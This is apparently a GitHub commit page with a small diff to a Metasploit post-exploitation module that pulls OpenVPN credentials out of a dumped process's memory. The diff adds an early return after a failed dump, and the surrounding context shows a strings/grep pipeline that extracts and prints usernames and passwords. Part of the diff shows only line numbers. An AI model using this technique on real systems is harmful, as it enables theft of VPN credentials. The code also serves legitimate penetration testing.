We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent a48d0b2 commit f69e7c0Copy full SHA for f69e7c0
modules/post/linux/gather/openvpn_credentials.rb
@@ -62,6 +62,7 @@ def run
62
vprint_good('Succesfully dump.')
63
else
64
print_warning('Could not dump process.')
65
+ return
66
end
67
68
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
@@ -71,6 +72,7 @@ def run
71
72
vprint_good('Removing temp files successfully.')
73
74
print_warning('Could not remove dumped files.')
75
76
77
78
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
0 commit comments